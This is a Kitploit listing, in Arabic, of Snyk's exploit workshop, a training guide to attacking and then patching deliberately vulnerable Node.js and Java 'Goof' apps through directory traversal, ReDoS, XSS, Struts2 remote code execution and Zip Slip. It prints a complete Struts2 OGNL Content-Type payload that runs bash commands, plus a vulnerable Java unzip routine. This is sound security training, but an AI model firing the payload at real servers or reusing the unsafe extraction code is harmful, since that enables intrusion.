Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-workshop — ورشة عمل خطوة بخطوة لاستغلال نقاط الضعف المختلفة في تطبيقات Node.js و Java | Kitploit
أدوات/GitHubGitHub/snyk-labs/exploit-workshop
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubsnyk-labs/exploit-workshop

exploit-workshop

ورشة عمل خطوة بخطوة لاستغلال نقاط الضعف المختلفة في تطبيقات Node.js و Java

عرض المستودع
15698منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

exploit-workshop

في ورشة العمل هذه خطوة بخطوة، ستتعلم كيفية استغلال العديد من الثغرات الواقعية الموجودة في إصدارات ضعيفة من الحزم في تطبيق Node.js و Java.

البرامج المطلوبة التي تحتاج إلى تثبيتها لورشة العمل هذه

يمكنك إجراء ورشة العمل هذه بطريقتين مختلفتين

  • باستخدام صور Docker المعدة

أو

  • تثبيت كل شيء على جهازك المحلي

مقدمة لورشة العمل هذه

ستأخذك ورشة العمل هذه من خلال تثبيت واستغلال عدد من التطبيقات المعرضة للخطر عمدًا. ستستخدم التطبيقات حزمًا حقيقية ذات ثغرات معروفة، بما في ذلك:

  • اجتياز الدليل (Directory traversal)
  • رفض الخدمة بالتعبير العادي (ReDoS)
  • النص البرمجي عبر المواقع (XSS)
  • تنفيذ التعليمات البرمجية عن بُعد (RCE)
  • الكتابة التعسفية للملفات (Zip Slip)

توجد هذه الاستغلالات في عدد من التطبيقات، ومعظمها ستحتاج إلى تثبيته محليًا أو على مثيل سحابي. سترشدك التعليمات أدناه من خلال التثبيت المحلي، ولكن يمكنك أيضًا تجربتها على مثيلات سحابية عن بُعد.

لكل قسم ثغرة في ورشة العمل هذه، ستتلقى معلومات حول الثغرة بالإضافة إلى الحزمة التي توجد بها. نشجعك على محاولة اختراق التطبيق عن طريق التجربة والخطأ دون قراءة أي تلميحات في البداية. حاول التفكير في كيفية خداع تنقية التطبيق والدخول إلى عقل المخترق. التلميحات موجودة عندما تتعثر، لذا اقرأها بالترتيب عند الحاجة إلى المساعدة. إذا تمكنت من إكمال الاختراق دون تلميحات، فهذا رائع! ومع ذلك، قد يكون من الجيد قراءة التلميحات بعد ذلك للتأكد من أنك اخترقت بنفس الطريقة التي فعلناها! بالإضافة إلى ذلك، قد تكون هناك نصائح صغيرة للتعلم منها أيضًا.

تثبيت Goof

بناءً على اختيارك، اختر دليل التثبيت المناسب

  • باستخدام صور Docker
  • التثبيت على الجهاز المحلي

من متصفحك المفضل، انتقل إلى http://localhost:3001 ويجب أن ترى الصفحة التالية.

الصفحة الرئيسية لـ Goof

اقضِ بضع دقائق في تصفح الموقع، وعلى وجه الخصوص، أنشئ بعض عناصر المهام باستخدام نص عادي "Buy Milk" بالإضافة إلى استخدام ماركداون "Buy **lots** of milk". أيضًا، انتقل إلى صفحة "حول" المتواضعة المرتبطة من أسفل الصفحة الرئيسية. استمتع بـ CSS-foo المستخدمة لإنشاء صفحة "حول" هذه. ملاحظة: لن يتم دمج طلبات السحب التي تجعل هذه الصفحة تبدو أجمل ;o)

صفحة حول لـ Goof

فحص تطبيقك

أولاً، دعنا ننظر إليه من الجانب الأزرق (الدفاعي). قم بعمل Fork لتطبيق Goof إلى حساب GitHub الخاص بك. يمكن العثور على التطبيق على GitHub هنا: https://github.com/snyk/goof. نحتاج إلى فحص تطبيقنا لفهم التبعيات المباشرة وغير المباشرة الموجودة في التطبيق، بالإضافة إلى الثغرات في كل مكتبة. للقيام بذلك، انتقل إلى https://snyk.io وانقر على "Sign up" أو "Log in" (إذا كنت مستخدمًا بالفعل)، في أعلى يمين الموقع:

زر تسجيل الدخول

انقر على زر "Log in with your GitHub":

زر تسجيل الدخول باستخدام Google

بعد ذلك، قم باستيراد مشروع Goof الذي قمت باستنساخه سابقًا. حدد goof من قائمة مستودعات GitHub الخاصة بك وانقر على زر "Import Projects" في أعلى يمين النافذة.

مشاريع GitHub

عندما يتم فحص المشروع، ستراه في لوحة التحكم الخاصة بك:

لوحة تحكم مشروع Goof

انقر على رابط package.json لرؤية صفحة المشروع، والتي تتضمن القائمة الكاملة لثغرات الأمان:

صفحة الثغرات في المشروع

يمكنك النقر على علامات التبويب "issues" و "dependencies" لرؤية المزيد من المعلومات حول الثغرات وعلاجها بالإضافة إلى مكان تقديمها بواسطة تطبيقك. ستلاحظ في أسفل قائمة الثغرات وجود ثغرة اجتياز الدليل في حزمة st. دعنا ننظر إلى هذا بمزيد من التفصيل.

ثغرة اجتياز الدليل في st

Directory Traversal

يهدف هجوم اجتياز الدليل (المعروف أيضًا باسم path traversal) إلى الوصول إلى الملفات والدلائل المخزنة خارج المجلد المقصود. من خلال معالجة الملفات بتسلسلات "dot-dot-slash" (../) واختلافاتها، أو باستخدام مسارات الملفات المطلقة، قد يكون من الممكن الوصول إلى أي ملفات ودلائل مخزنة على نظام الملفات، بما في ذلك كود مصدر التطبيق، والتكوين، وملفات النظام الهامة الأخرى.

يمكن تقسيم ثغرات اجتياز الدليل عمومًا إلى نوعين:

  • كشف المعلومات: يسمح للمهاجم بالحصول على معلومات حول هيكل المجلد أو قراءة محتويات الملفات الحساسة على النظام.
  • كتابة الملفات التعسفية: يسمح للمهاجم بإنشاء ملفات جديدة أو استبدال الملفات الموجودة. يُعرف هذا النوع من الثغرات أيضًا باسم Zip-Slip.

الحزمة في تطبيق Goof التي تحتوي على ثغرة اجتياز الدليل التي سنستغلها هي حزمة st. ألقِ نظرة على وثائق st وتعرف على المكتبة.

يجب الآن أن تكون على دراية بما هو اجتياز الدليل، وما تفعله حزمة st، ويمكنك المضي قدمًا واختراق التطبيق -- لقد عدت إلى الفريق الأحمر الآن! ابحث في التطبيق عن مكان استخدام حزمة st وحاول الانتقال إلى دليل لا يُسمح لك بالوصول إليه.

فيما يلي بعض التلميحات لإعطائك أدلة إذا علقت - حاول قدر الإمكان النظر إليها فقط بعد أن تجرب بنفسك وتحتاج إلى المساعدة.

انقر لرؤية التلميح 1.

انقر لرؤية التلميح 2.

انقر لرؤية التلميح 3.

انقر لرؤية التلميح 4.

انقر لرؤية التلميح 5.

انقر لرؤية التلميح 6.

انقر لرؤية التلميح 7.

انقر لرؤية التلميح 8.

انقر لرؤية التلميح 9.

تصفح نظام الملفات الخاص بك كما لو كنت مهاجمًا للعثور على 3 قطع من المعلومات الحساسة على جهازك والتي ربما لا تريد أن يراها المهاجم.

انقر لرؤية التلميح 10.

ألقِ نظرة على وصف الثغرة، بما في ذلك درجة CVSS: https://snyk.io/vuln/npm:st:20140206. لماذا تعتقد أن الثغرة متوسطة الخطورة بدلاً من عالية؟

علاج الثغرة

مرة أخرى في صفحة مشروع Snyk، ابحث عن ثغرة اجتياز الدليل في حزمة st وانظر إلى نصائح العلاج. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة st هي تبعية مباشرة، لذا لا ينبغي أن يكون العلاج صعبًا للغاية. يمكننا أن نرى أننا بحاجة إلى تحديث إصدار حزمة st إلى 0.2.5. يمكننا القيام بذلك تلقائيًا، عن طريق النقر على زر "Fix this vulnerability".

إصلاح هذه الثغرة

سترى قائمة بالثغرات الخاصة بك، ويجب تحديد ثغرة st فقط. قم بالتمرير إلى أسفل الصفحة وانقر على "Open a fix PR":

فتح طلب سحب للإصلاح

ألقِ نظرة على تغييرات الكود في طلب السحب تحت علامة التبويب "Files Changed":

اختبارات طلب السحب

تأكد من أن اختبارات طلب السحب الجديدة لا تقدم أي مشكلة أمان أو ترخيص جديدة وقد اجتازت. يمكن العثور عليها في علامة التبويب "Conversation" في طلب السحب:

اختبارات طلب السحب

عندما تكون راضيًا عن طلب السحب، قم بدمج التغييرات.

التثبيت المحلي فقط (لن يعمل هذا عند استخدام صور Docker)

إذا كنت تشغل التطبيق محليًا، أوقفه بالضغط على Ctrl+C في النافذة التي قمت فيها بتشغيل npm start. احصل على أحدث كود من GitHub عن طريق تشغيل git fetch. قم بتنزيل الإصدار الجديد من st عن طريق تشغيل npm install ثم ابدأ تطبيقك مرة أخرى باستخدام npm start.

حاول اختراقاتك مرة أخرى. تهانينا! لقد عالجت الثغرة ويجب الآن إعادة توجيهك إلى الصفحة الرئيسية في كل مرة تحاول فيها الهروب من المجلد العام.

Regular expression denial of service (ReDoS)

ألقِ نظرة على وصف ثغرة ReDoS في فحص Snyk الخاص بك:

معلومات ثغرة ReDoS

هذه الثغرة في حزمة ms هي التي سنقوم بكسرها في تطبيق Goof. استخدم الأمر التالي لإضافة عنصر مهمة يحتوي على تمثيل نصي للوقت:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v

root@kitploit:~
استطاعت مكتبة `ms` مطابقة نمط زمني في سلسلة الإدخال الخاصة بك. يتم تمثيل هذا بشكل مختلف قليلاً في صفحة `goof`.

![Call mom image](https://assets.kitploit.com/production/public/readmes/5352/40b26468e73dd477bb2e3b6dedbd27ac4c42fc71689044eed4e7f895c17a1cea.png)

باستخدام معرفتك بكيفية عمل ReDoS، حاول تمرير سلسلة محتوى تسبب تأخيرًا ملحوظًا، أو حرمانًا من الخدمة للمستخدمين الآخرين. لاحظ أنه أثناء معالجة الطلب، ستقوم صفحة الويب بتخزين أي من طلباتك اللاحقة مؤقتًا حتى تتم معالجة طلبك الأول.

انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).

انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).

انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).

انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).

انقر لرؤية [تلميح 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).

فكر في كيف يمكنك تجنب هذا الهجوم برمجيًا في كود تطبيقك؟

### إصلاح الثغرة الأمنية

بالعودة إلى صفحة مشروع snyk، ابحث عن ثغرة هجوم الحرمان من الخدمة عبر التعبيرات النمطية في حزمة `ms` وانظر إلى نصيحة الإصلاح. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة `ms` هي تبعية غير مباشرة، يتم جلبها بواسطة حزمة `humanize-ms`. يمكننا أن نرى أننا بحاجة إلى تحديث إصدار `humanize-ms` إلى `1.0.2`. سيؤدي هذا إلى جلب حزمة `ms` بإصدار مُصلَح. انقر على "إصلاح هذه الثغرة" مرة أخرى وأنشئ طلب سحب (PR).

![Fix this vulnerability](https://assets.kitploit.com/production/public/readmes/5352/d2bf7f1cb7ad3edb96a548e25131f62d6b55968c265fdd925a17277961c89416.png)

بعد تحديث تطبيقك، حاول اختراقاتك مرة أخرى. *تهانينا!* لقد قمت بإصلاح الثغرة الأمنية!

## البرمجة النصية عبر المواقع (XSS)

تحدث هجمات XSS عندما يخدع المهاجم متصفح المستخدم لتنفيذ كود JavaScript ضار في سياق نطاق الضحية. يمكن لهذه البرامج النصية سرقة ملفات تعريف الارتباط الخاصة بالجلسة للنطاق، أو استخراج محتواه أو تعديله، وتنفيذ أو تعديل الإجراءات نيابة عن المستخدم، وهي إجراءات تمنعها عادةً سياسة نفس الأصل للمتصفح.
تكون هذه الهجمات ممكنة عن طريق الهروب من سياق تطبيق الويب وحقن نصوص ضارة في موقع موثوق به بطريقة أخرى. يمكن لهذه النصوص إضافة سمات إضافية (على سبيل المثال، خيار "جديد" في قائمة منسدلة أو رابط جديد لموقع ضار) ويمكنها تنفيذ كود على جانب العميل، دون علم الضحية. يحدث هذا عندما لا يتم ترميز الأحرف مثل `< > " '` بشكل صحيح.

هناك عدة أنواع من XSS:

* *XSS مستمر* هو هجوم يستمر فيه الكود الضار في قاعدة بيانات تطبيق الويب.
* *XSS منعكس* هو هجوم يعيد فيه الموقع جزءًا من الطلب. يحتاج المهاجم إلى خداع المستخدم للنقر على رابط ضار (على سبيل المثال عبر بريد إلكتروني تصيدي أو JS ضار على صفحة أخرى)، مما يؤدي إلى تشغيل هجوم XSS.
* *XSS قائم على DOM* هو هجوم يحدث فقط في المتصفح عندما يقوم JavaScript من جانب العميل بإعادة جزء من عنوان URL إلى الصفحة. من المعروف أن XSS القائم على DOM يصعب اكتشافه، لأن الخادم لا تتاح له فرصة رؤية الهجوم.

الثغرة موجودة في مكتبة `marked`. تسمح لنا هذه المكتبة بإدخال نص ماركداون في مربع إدخال المهام وعرض النص الناتج بخط عريض، أو أيًا ما تريد. الآن بعد أن أصبحت على دراية كاملة بهذا التطبيق المعقد متعدد الصفحات، ضع في اعتبارك الحزمة المعرضة للخطر.

للبدء، دعنا نحاول عرض التنبيه '1'. مبتذل جدًا، أليس كذلك؟

انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).

انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).

انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).

انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).

انقر لرؤية [تلميح 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).

انقر لرؤية [تلميح 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).

انقر لرؤية [تلميح 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).

انقر لرؤية [تلميح 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).

بمجرد أن تتمكن من تنفيذ بعض JavaScript التي تنشئ تنبيهًا، كما هو موضح أدناه. يمكنك تجربة شيء أكثر صعوبة ربما للحصول على بعض المعلومات الحساسة!

![marked exploit](https://assets.kitploit.com/production/public/readmes/5352/3d22de2451458fbe49e13a404c81caaa6d7b099bbc4aeba25408282efbac6705.png)

### إصلاح الثغرة الأمنية

بالعودة إلى صفحة مشروع snyk، ابحث عن ثغرة XSS في حزمة `marked` وانظر إلى نصيحة الإصلاح. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة `marked` هي تبعية مباشرة. يمكننا أن نرى أننا بحاجة إلى تحديث `marked` إلى الإصدار `0.3.9`. انقر على "إصلاح هذه الثغرة" مرة أخرى وأنشئ طلب سحب (PR).

![Fix this vulnerability](https://assets.kitploit.com/production/public/readmes/5352/d2bf7f1cb7ad3edb96a548e25131f62d6b55968c265fdd925a17277961c89416.png)

بعد تحديث تطبيقك، حاول اختراقاتك مرة أخرى. تهانينا، لقد قمت بإصلاح ثغرة XSS ويجب ألا تتمكن من تضمين JavaScript في صفحة الويب بعد الآن.

# تثبيت Java Goof

اعتمادًا على اختيارك السابق، اختر دليل التثبيت المناسب
* باستخدام [صور Docker](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* التثبيت على [الجهاز المحلي](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)

من متصفح، انتقل إلى عنوان URL التالي: [http://localhost:8080/](http://localhost:8080/)

سترى هذا التطبيق. يبدو أفضل من تطبيق Node. لأن Java أفضل من Node. حقيقة.

![Java Goof homepage](https://assets.kitploit.com/production/public/readmes/5352/3bfacced3ad7f10c777c8ae162cb32c2810ef1a9058f0f1eb753148a4979e7f6.png)

انقر على "تسجيل الدخول" واستخدم بيانات الاعتماد التالية:```
Username: [email protected]
Password: foobar

عند تسجيل الدخول، سترى عددًا من إدخالات المهام. إذا نقرت على "حول" في أعلى الشاشة، سترى أن التطبيق يستخدم Spring وHibernate وApache Struts. هذا لطف كبير من التطبيق أن يزودنا بهذه البيانات! المواقع الإلكترونية ليست عادةً بهذا اللطف :)

امسح تطبيقك

عدنا الآن إلى الفريق الأزرق (الدفاعي). نحتاج إلى مسح تطبيقنا لفهم التبعيات المباشرة وغير المباشرة الموجودة في التطبيق، بالإضافة إلى الثغرات الأمنية في كل مكتبة. قم بعمل Fork لمستودع Java Goof إلى حسابك على GitHub. يمكن العثور على التطبيق على GitHub هنا: https://github.com/snyk/java-goof

إذا كان لديك بالفعل حساب Snyk من الجزء السابق من الورشة، فكل ما عليك فعله هو إضافة مستودع Java Goof إلى لوحة تحكم Snyk. إذا لم تكن قد فعلت ذلك، فأنشئ حسابك على النحو التالي:

انتقل إلى https://snyk.io إذا لم تكن قد فعلت ذلك بالفعل، وانقر على "تسجيل الدخول" أو "الاشتراك" في أعلى يمين الموقع.

زر تسجيل الدخول

انقر على زر "تسجيل الدخول باستخدام GitHub":

زر تسجيل الدخول باستخدام Google

قم باستيراد مشروع goof الذي قمت بنسخه مسبقًا. انقر على رابط التكاملات (Integrations) الموضح أدناه:

مشاريع GitHub

من هنا، حدد تكامل GitHub واختر java-goof من قائمة مستودعات GitHub لديك، ثم انقر على زر "إضافة المستودعات المحددة" في أعلى يمين النافذة.

مشاريع GitHub

عند اكتمال فحص المشروع، ستراه في لوحة التحكم الخاصة بك:

لوحة تحكم مشروع Goof

انقر على رابط todolist-web-struts/pom.xml لرؤية القائمة الكاملة للثغرات الأمنية لهذا الجزء من المشروع:

صفحة الثغرات في المشروع

تنفيذ التعليمات البرمجية عن بُعد

توجد الثغرة في حزمة org.apache.struts:struts2-core.

الإصدارات المتأثرة من الحزمة معرضة لتنفيذ أوامر عشوائية أثناء رفع الملفات باستخدام محلل Jakarta Multipart. يمكن للمهاجم استغلال هذه الثغرة المعينة عن طريق إرسال طلب معد لرفع ملف إلى الخادم الضعيف الذي يستخدم إضافة قائمة على Jakarta لمعالجة طلب الرفع.

يمكن للمهاجم بعد ذلك إرسال تعليمات برمجية ضارة في رؤوس HTTP Content-Type أو Content-Disposition أو Content-Length، والتي سيتم تنفيذها بعد ذلك بواسطة الخادم الضعيف. يتوفر دليل إثبات يوضح سيناريو الهجوم بشكل عام ويتم استغلال الثغرة بنشاط في البرية.

على الرغم من أن القائمين على صيانة المشروع مفتوح المصدر قاموا على الفور بتصحيح الثغرة، إلا أن خوادم Struts التي لم تقم بتثبيت التحديث لا تزال تتعرض للهجوم من قبل المخترقين الذين يستغلونها لحقن الأوامر التي يختارونها.

يمكن تنفيذ هذا الهجوم دون مصادقة. والأسوأ من ذلك، أن تطبيقات الويب لا تحتاج بالضرورة إلى رفع ملف ضار بنجاح لاستغلال هذه الثغرة، فمجرد وجود مكتبة Struts الضعيفة داخل التطبيق يكفي لاستغلال الثغرة.

فيما يلي مثال على رأس يمكنه استغلال الثغرة. لاحظ أن نوع المحتوى يبدأ بـ %{.``` "Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

root@kitploit:~
ستلاحظ إنشاء ```ProcessBuilder``` وتنفيذ أمر bash كنتيجة لذلك.

اخترق التطبيق عن طريق إجراء طلب HTTP GET إلى التطبيق، مع إرسال هذا الرأس في الطلب.

انقر لرؤية [التلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md).

انقر لرؤية [التلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md).

يجب أن تكون الآن قد نفذت أمرًا عن بُعد، مثل أمر env هذا لاسترداد متغيرات البيئة لجهازك:

![استغلال ثغرة Struts](https://assets.kitploit.com/production/public/readmes/5352/5dc69c096730508f79bebba10330a8a487c955ff67832fa153096ebcc244f190.png)

في هذه المرحلة، أصبح لديك صلاحيات تنفيذ على الجهاز عن طريق استخدام curl لاستدعاء عنوان URL. استمر في تشغيل أوامر أخرى لترى ما يمكنك تعلمه عن الجهاز وكذلك تشغيلها على الجهاز.

# Zip Slip

أنشئ مشروع Maven جديدًا في بيئة التطوير المتكاملة (IDE) التي تختارها. لن أحكم عليك. أضف تبعية جديدة في ملف ```pom.xml``` الخاص بك.```xml
    <dependency>
      <groupId>org.zeroturnaround</groupId>
      <artifactId>zt-zip</artifactId>
      <version>1.12</version>
      <type>jar</type>
    </dependency>

في هذا المستودع، ستجد أرشيف zip-slip.zip. قم بتنزيله وتشغيل الأمر التالي على الأرشيف لرؤية المخرجات. أتوقع أنك ستعرف كيف يعمل هذا الاختراق بمجرد رؤية المخرجات.``` $ jar -tvf zip-slip.zip

root@kitploit:~
## ثغرة Zip Slip

Zip Slip هو شكل من أشكال اجتياز الدليل (directory traversal) يمكن استغلاله عن طريق استخراج الملفات من أرشيف. فرضية ثغرة اجتياز الدليل هي أن المهاجم يمكنه الوصول إلى أجزاء من نظام الملفات خارج المجلد الهدف الذي يجب أن توجد فيه. يمكن للمهاجم بعد ذلك استبدال الملفات القابلة للتنفيذ وإما استدعائها عن بُعد أو انتظار النظام أو المستخدم لاستدعائها، وبالتالي تحقيق تنفيذ الأوامر عن بُعد على جهاز الضحية. يمكن للثغرة أيضًا أن تسبب ضررًا عن طريق استبدال ملفات التكوين أو الموارد الحساسة الأخرى، ويمكن استغلالها على كل من أجهزة العميل (المستخدم) والخوادم.

الجزءان المطلوبان لاستغلال هذه الثغرة هما أرشيف خبيث ورمز استخراج لا يقوم بإجراء التحقق من الصلاحية. دعنا ننظر في كل منهما بدوره. أولاً، يجب أن تحتوي محتويات الملف المضغوط على ملف واحد أو أكثر يخرج من المجلد الهدف عند استخراجه. في المثال ```zip-slip.zip```، نرى ملفين، ملف good.txt الذي سيتم استخراجه في المجلد الهدف، وملف evil.txt الذي يحاول الصعود في شجرة الدليل إلى مجلد tmp. ستلاحظ وجود مستويات عديدة من ```../``` بحيث يكون للملف فرصة أفضل للوصول إلى الدليل الجذر، قبل محاولة الانتقال إلى الدليل ```/tmp``` من الدليل الجذر.

استخدم أداة فك الضغط ```zt-zip``` الموجودة في ```ZipUtil``` لاستخراج الملف ولاحظ مكان ظهور ```good.txt``` و ```evil.txt``` على نظام الملفات الخاص بك.

انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md).

انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md).

بمجرد فك ضغط ملف evil.txt في دليل tmp الخاص بك، ألق نظرة على معلومات الثغرة ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).

### إصلاح الثغرة!

انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md).

انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md).

الآن بعد أن قمت بإصلاح الثغرة في تبعية ```zt-zip``` الخاصة بك، دعنا نلقي نظرة على الكود الذي يمكن استخدامه للقيام بذلك في Java. لاحظ أننا استخدمنا مكتبة Apache Commons IO في هذا المثال لتنفيذ نسخ الملف في السطر 8.```java
1.    	final String destinationDir = /* <your destination dir> */;
2.    	ZipFile zip = new ZipFile(/* <your zip file> */);
3.    	Enumeration<ZipEntry> entries =  (Enumeration<ZipEntry>) zip.entries();
4.    	while (entries.hasMoreElements()) {
5.    	  ZipEntry e = entries.nextElement();
6.    	  File f = new File(destinationDir, e.getName());
7.    	  InputStream input = zip.getInputStream(e);
8.    	  FileUtils.copyToFile(input, f);
9.  	}

دعنا نستبدل استدعاء ZipUtil.unpack السابق بهذا الكود. احذف ملفي good.txt وevil.txt من نظام الملفات لديك وقم بتشغيل التطبيق مرة أخرى. ستلاحظ أن ملف evil.txt يصل مرة أخرى إلى دليل /tmp.

حدد أي سطور من الكود أعلاه هي المسببة للمشكلة وقم بإصلاحها!

انقر لرؤية تلميح 5.

انقر لرؤية تلميح 6.

انقر لرؤية تلميح 7.

انقر لرؤية تلميح 8.

انقر لرؤية تلميح 9.

بمجرد أن تقوم بتشفير الحل الخاص بك بشكل دفاعي، تحقق من نموذج الكود النهائي في تلميح 9 لترى كيف يقارن بإصدارك. هل قمت بتضمين فاصل الملفات في نهاية السطر 9؟ هذا يضمن أن الدليل لا يبدأ فقط باسم الدليل الذي اخترناه، بل هو الدليل الذي اخترناه لاستخراج الملفات إليه.

شكرًا لك على حضور هذه الورشة. إذا رأيت أي أخطاء إملائية أو اقترحت تلميحات إضافية، فيرجى إرسال طلب سحب لنا (PR)!

تنزيل الأداة